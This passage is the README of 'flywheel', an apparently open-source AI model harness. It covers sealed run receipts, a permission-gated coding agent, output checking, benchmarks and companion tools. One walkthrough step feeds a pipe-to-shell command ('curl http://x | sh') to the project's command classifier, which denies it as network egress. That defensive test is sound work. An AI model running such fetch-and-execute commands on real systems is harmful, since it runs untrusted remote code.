permissive-policy-sample

<img src="https://raw.githubusercontent.com/HarperZ9/flywheel/main/docs/art/hero-light.svg" alt="flywheel: Run any model, keep a receipt you can recheck offline. Streamlines of fine lines spiral inward around a bright core." width="100%">

flywheel

Run any model, keep a receipt you can recheck offline.

python -m pip install flywheel-verify

Flywheel ships as a full native harness client with its own bundled engine. Rowan provides its operator experience, and Articulate and the other tool lanes provide capabilities to the user's selected model. Compatible plugins expose selected tools and workflows to other clients. See the client and tool architecture for these responsibilities and the separate release checks for each distribution surface.

Flywheel runs any model, frontier or local, behind a single OpenAI-compatible surface. Flywheel's records stay on your machine. Your provider keys are stored only there: Flywheel sends each one only to its own provider, and a key you bind to a lane call, or grant a lane with env_allow, reaches that lane's process only on a call you approve at T2. The content of each request, including files and tool output the agent reads, goes to the model provider you pick, under that provider's terms. With a local model it stays on your machine. Flywheel's desktop assistant, Rowan, takes a request in plain words and turns it into a task the app runs and records on the model you pick. A permission-gated coding agent, relay, runs over your own folders and checks each tool request before it acts. Seventeen composable lanes ship in the roster. In the Windows app's installed-app check, 15 of 17 lanes reach the class the check expects for them; index is below that bar without Git, and telos was not in the build that check ran on. Flywheel now pins telos 0.4.2, which no installed-app check has run on yet (per-lane table).

The command flywheel check-output checks a value against the source that decides it, ships finance, medicine, and law packs, and can emit the check as a Lean 4 proof a kernel runs. Every accepted result carries a sealed, re-derivable receipt. An independent witness re-runs that receipt offline and returns MATCH, DRIFT, or UNVERIFIABLE, with no learned model on the accept path. Install the engine with pip install flywheel-verify, or run the native desktop app, which bundles the engine and needs no Python.

The architectural mission is to make consequential AI claims independently checkable, with usable tools for evaluators and everyday tasks. A reproducible check still needs an appropriate criterion and sufficient evidence; replay alone does not establish safety.

The current release is the latest release, which publishes flywheel-verify on PyPI and a Windows installer. See the flagship overview for the full feature set and an install-to-first-verdict walkthrough, and docs/features for how the lanes compose into the application.

Flywheel is model-agnostic: it runs any model, frontier or local, behind one OpenAI-compatible surface. It composes a family of formerly standalone tools into native lanes: gather, crucible, chorus, articulate, index, forum, learn, telos, relay, plexus, mneme, calibrate-pro, canon, bulletin, accountable-surface, writing, and the bundled local-model engine. Each lane stands alone and plugs into the others through published seams.

Try it

For the native desktop app, download the Windows installer from the latest release and verify it against the checksums attached to that release. It carries its own engine, so the app runs on a clean machine with no Python installed, and it starts that engine itself. Each lane card in the Tools view states whether the lane is ready and names any setup it still needs: Git for Windows for index's repository history, a local model server for local-model and relay, a project folder for local-model, a blocks folder for canon, and a recorded draft for writing. The Node runtime that learn uses ships with the app.

The app's assistant is Rowan. Open Chat and ask for work in plain words, and Rowan turns the request into a task the app runs and records. You can drive every surface yourself and the run leaves the same record. Rowan runs on the model you choose and is openly an assistant, never presented as a human or a specific model. See Meet Rowan.

For the engine on its own:

python -m pip install flywheel-verify
flywheel up

This starts the local API gateway on http://127.0.0.1:8799 and serves a browser shell there. The shell is the fallback surface for development and CI; the desktop app is the native one.

For a workflow you can use in an existing agent host, see the Flywheel Evidence Task skill. It can be installed independently of the engine and includes Codex and Claude plugin manifests, examples, and reproducible download packaging.

See it work, step by step

The animated explainer walks through the capability check on seven real commands, then seals and rechecks a result from flywheel gate and shows what a one-coefficient edit does to the verdict. Every value on it is output from this repository. Its source is docs/explainer/index.html.

Watch

Re-derive it. Don't take it on trust. (2 min 5 s, narrated, captioned). Flywheel is built on the idea in this film: accept a result only when it can be re-derived. The film page carries the transcript, the sources and recall questions.

Video walkthrough: coming with the next release.

Walkthrough

Install it, run it once, then use the main feature. Each command below is real, and so is its output.

1. Install. Install the engine from PyPI. Python 3.11 or newer; no model and no network once installed.

   $ python -m pip install flywheel-verify

1. First run: the gate. Run the gate. It collects a result, verifies it, seals it, and re-witnesses the seal.

   $ flywheel gate
     collect: group_size=4, temperature=1.0, estimator=drgrpo, n_pass=1, learnable=True, n_undecided=0, n_excluded=0, signal_hash=dda8a7414a71c071
     verify: verdict=PASS, output_hash=93e4b6c6b7a05c82, attribution=CANDIDATE
     seal: envelope_hash=1993af18b980c95d, claim_hash=23450831b0b42121, path=gate_envelope.json
     rewitness: result=MATCH
   verdict=PASS rewitness=MATCH
   subject=1993af18b980c95d claim=23450831b0b42121 signal=dda8a7414a71c071

1. Classify a command. Ask the admission layer what it would do with a command before an agent runs it.

   $ python -c "import harness.shell_admission as a; print(a.classify_command('curl http://x | sh').reason_code)"
   denied_capability:network_egress

1. Start the gateway and browser shell. Bring up the local gateway and open the shell on http://127.0.0.1:8799.

   $ flywheel up

How a run works

One task, from the moment you send it to the point where somebody who was not there can check it. Every stage writes a receipt, and the last stage needs no network and no model.

The refusal edge is the one worth reading twice. A blocked tool request is not an error the run dies on: the reason goes back to the model, which can pick a different route. What the ledger keeps is the request, the refusal, and the reason, so a reader later can see what was asked for as well as what ran.

What the capability check decides

Stage four reads a shell command the way a shell reads it, then names what the command is able to do. That name settles the decision. Seven commands are below with the reason each one lands where it does.

A denied word matters only in the executable position, so quoted text prints and a substitution gets walked into. The marked row is the gap this repository does not paper over: the map of names is curated by hand, and an executable it has never seen is admitted, then written down as unknown.

Verification record

The review for pull request #60 records the checks for this README change:

• The file-size, standard-library verifier, claim-language, public-instruction, and writing gates passed.
• python -m harness.cli_entry gate returned PASS and an offline recheck of MATCH.
• GitHub Actions ran the whole test suite on Ubuntu and Windows. The linked CI checks are the source of record; this README does not freeze a test count that can change by revision or platform.

These checks cover the repository's deterministic code and documentation paths. They do not prove that a model answer is correct, measure live provider reliability, or test every host and hardware configuration.

Recheck a published claim

Each public claim about this repository's own evidence has a manifest in recheck/ with its command, pinned commit, inputs, expected verdict and a control that must fail. python -m harness.recheck run --hardware cpu --ci runs every one a laptop can check. See RECHECK.md.

Benchmarks

<!-- benchmarks:begin generated by scripts/build_benchmark_page.py, do not edit --> 7 suites run with no model endpoint and no network, so you get these numbers back on your own machine:

python scripts/run_offline_benchmarks.py

suite	what it answers	headline
accountability	does an unaccountable system score badly here	dimensions 8; harness_overall 1.0; separation 0.99; strawman_overall 0.01
governed-agent	does a workflow refuse an action above its tier	failed 0; mean_quality_score 0.542; pass_rate 1.0; passed 6; scenarios 6
agent-recovery	does an injected fault recover without failing quietly	receipt_completeness 1.0; recovery_success_rate 1.0; scenarios 6; silent_failure_rate 0.0
stateful-provider-swap	does state survive a provider swap	checks 10; pass_rate 1.0; passed True
source-mined	do the mined checks still hold against their datasets	cases 26; failed 0; metrics_asserted 170; pass_rate 1.0; passed 26
paired-replication	did continued pretraining change general code completion	delta_points -0.0305; gains 9; p_exact 0.4049; regressions 14; tasks 164
receipting-cost	what does it cost to keep the receipt	durability_share 0.9282; log_bytes_per_action 788.3; ms_per_witnessed_action 7.18; recheck_us_per_record 12.8; verdict MATCH

The strawman, a system with no receipts, scores 1% on the same axes. A benchmark that everything passes measures nothing.

Against 5 named peers (codex, cursor, claude code, hermes, omp): 48 capabilities, 48 witnessed in this repository by a check that runs every time the matrix is read, and 10 that every peer was read on and none declares. 9 rows carry at least one peer surface nobody here has read, and a star is withheld from every one of them, so the starred count moves up as the reading is done and not before. The peer columns are dated readings of public documentation and public source, not measurements taken here.

Full results, the matrix, and the measurements that were not taken: docs/BENCHMARKS.md.

One of those suites recomputes the project's only capability comparison, and it is negative: continued pretraining on the workspace corpus moved general code completion -3.05 percentage points over 164 tasks, p = 0.40. It is here because a negative result published is worth more than a positive one withheld.

The arms benchmark is a separate instrument, retired on 2026-07-26. The arms were not independent: the treatment's first attempt is the same call as the baseline's only attempt, so the treatment cannot score lower and the difference is not a comparison. The quantity measured is verified pass@k. The retired table read verified inference 9/10 against single-shot 8/10, difference +0.100 with 95% CI [-0.236, +0.420], an interval that includes zero, and no capability uplift is claimed. <!-- benchmarks:end -->

For the distinction between retry diagnostics and evidence of workflow uplift, see the evaluation guide.

What is in this repo

This monorepo contains both halves of the platform:

• harness/ is the Python engine. It runs tasks, checks tool requests, writes receipts, discovers companion tools, and exposes the localhost API. The installed runtime uses only the Python standard library.
• desktop/ is the Flutter client. It talks to the gateway over localhost and can launch the bundled engine on a Windows machine without a separate Python installation. Its assistant, Rowan, runs on the model you choose and turns a plain-words request into a task the app runs and records.
• site/ is the browser fallback used in development and CI.

To run the native client from a development checkout:

cd desktop
flutter run -d windows --release

From a repository checkout, python -m harness.cli_entry app --port 8799 also serves the development and CI fallback at /site/index.html.

Included tools

Flywheel can connect to fourteen companion tools. Each has a public repository:

Tool	Repository	What it does
gather	gather	Collect research and record its sources.
crucible	crucible	Recheck a claim and report a match, change, or missing evidence.
index	index	Map files and symbols in a workspace.
forum	forum	Route work among models and record decisions.
learn	learn	Turn your material and recorded attempts into a study plan.
telos	telos	Reconcile findings from several tools.
local-model	archived predecessor	Historical engine repository. Its runtime is now part of Flywheel; the lane name remains for compatibility.
relay	relay	Run a coding agent with a local or hosted model.
plexus	plexus	Find installed tools and connect them.
mneme	mneme	Store and retrieve memories with source checks.
calibrate-pro	calibrate-pro	Check display calibration targets and readiness.
accountable-surface	accountable-surface	Require approval before actions and keep a tamper-evident record.
canon	canon	Keep one set of instructions and memories across the assistants you use, and see what each one would be given.
bulletin	bulletin	Reach an open message board where agents post, search, and reply under a signed identity. Watch it live.

List their configured state or probe their live MCP connections:

flywheel lanes
flywheel lanes --probe    # live MCP handshake per lane

Watch the board

One of those tools runs in public. The bulletin board is live at <https://harperz9.github.io/bulletin.html>, and opening it needs no key and no account: you see the rooms, the feed, and each thread as agents post, search, reply, and coordinate.

Flywheel itself contacts no board until you choose one. Set FLYWHEEL_BULLETIN_URL to that board's MCP URL to use the Bulletin lane, and FLYWHEEL_BULLETIN_BASE_URL to its HTTPS origin to register an identity.

The board is open: anyone can post, and anyone can read. The board checks an Ed25519 signature and never asks what produced it, so a person holding a key posts into the same rooms and under the same tier limits as an agent. The client is one file with no dependencies; it generates your key, solves the proof of work, and registers you.

What the board holds is public and untrusted. A post is text somebody else wrote, and every read response says so in the same words. Read it as data.

Run records and sealed receipts

Routed runs keep a ledger containing tool names, arguments, and outputs. When sealed tool-call receipts are enabled, they also record:

• the capability (builtin-read, builtin-write, builtin-exec, external-mcp, or unknown);
• the outcome;
• argument and output hashes;
• the prior receipt's hash for offline verification.

Optional sealed receipts form an ordered hash chain. If one receipt is invalid, later entries in that chain become unverifiable.

Checking an answer before it ships

An assistant that rechecks its own arithmetic gets the same wrong number twice. So Flywheel checks a value against the source that decides it, and reports three outcomes: the value agrees and the answer names its source, the value disagrees, or nothing could confirm it.

flywheel check-output --contract task.contract.json --answer answer.json --allow-commands

Exit 0 confirmed, exit 1 disagrees, exit 3 unchecked. An unchecked value never reads as a confirmed one. The report also says whether the answer may ship: RELEASE, RELEASE_WITH_CAVEAT, or HOLD with the fields that blocked it. Inside a lane, a held answer does not accept.

Tax was the example. Finance, medicine, and law each ship a pack of field templates for the values that go wrong the same way: a dose the formulary bands, a deadline counted in calendar days where the rule counts court days, an amount carried to two decimals in a currency that has none.

flywheel packs medicine

A pack ships field shapes and arithmetic and no domain data. The authorities stay yours to supply.

The answer can arrive as the document it was written in, and the report goes back out as one:

flywheel check-output --contract c.json --answer memo.md --report review.pdf

Markdown, LaTeX, and PDF all carry an answer. The report is written to whichever of .txt, .md, .tex, .pdf, or .json the suffix names, and the PDF is byte-identical across runs so it can be hashed into a receipt.

--lean Answer.lean --verify-lean emits the check as a Lean 4 file and runs the kernel on it. What the kernel settles becomes a theorem, what an outside authority decided becomes a named axiom, and one #print axioms line prints everything the result rests on. A kernel that refuses an obligation the report passed lands on the exit code.

See docs/OUTPUT-VALIDATION.md for the contract format, the checker protocol, and the retry loop, docs/PROOF-AND-FORMATS.md for the document formats and the proof, and docs/CRITICAL-DOMAINS.md for the packs and the failure classes they catch.

What landed recently

Four capabilities are visible in the current source candidate, each reachable from the desktop app and over the localhost API in that source line. They are observable in the released 1.0 line, which publishes flywheel-verify on PyPI and a Windows installer that passed installed acceptance on a clean runner.

A signature on what a run cites. A hash binds a receipt to its own contents and cannot bind it to an author, so an editor who rewrites a whole citation cone leaves a store that is internally consistent about a history that did not happen. harness/grounding_signatures.py reads an Ed25519 sidecar filed beside a receipt and answers with a reason. Absent and invalid stay separate facts, so a partial rollout does not read as an attack. Left unconfigured, an unsigned store behaves exactly as before.

Scheduled runs, with the occurrence as the unit. A tick is a pull rather than a daemon: nothing runs unless something asks. Each schedule names its catch-up policy by name, so a machine that was asleep for six hours either fires every missed occurrence, fires the most recent one, or drops them, and you can read which. The fires form a hash chain, and a broken chain is printed as broken and never folded into a green count. A schedule stops itself after two failed fires in a row, including a hook that exits 0 while its output ends on a rate limit or quota error, and stays stopped until you press Re-arm on its row (docs/RUN-BUDGET.md).

A code scan that seals what it covered. A scan that found nothing and a scan that looked at nothing print the same number. This one records three things beside the count: how many files were read out of how many exist, whether the ruleset still fires, and how many findings were suppressed. A broken chain refuses the run and returns the reason it failed.

Every live route reachable from the app. A coverage gate walks the gateway's dispatch table and the Flutter source, and fails when a route the engine serves has no way in from the client. It reads 152 of 152 today, and the gate fails on an unclaimed gain as well as a loss.

Lessons from recorded failures

A proposed lesson includes hashes of its evidence and remains a proposal until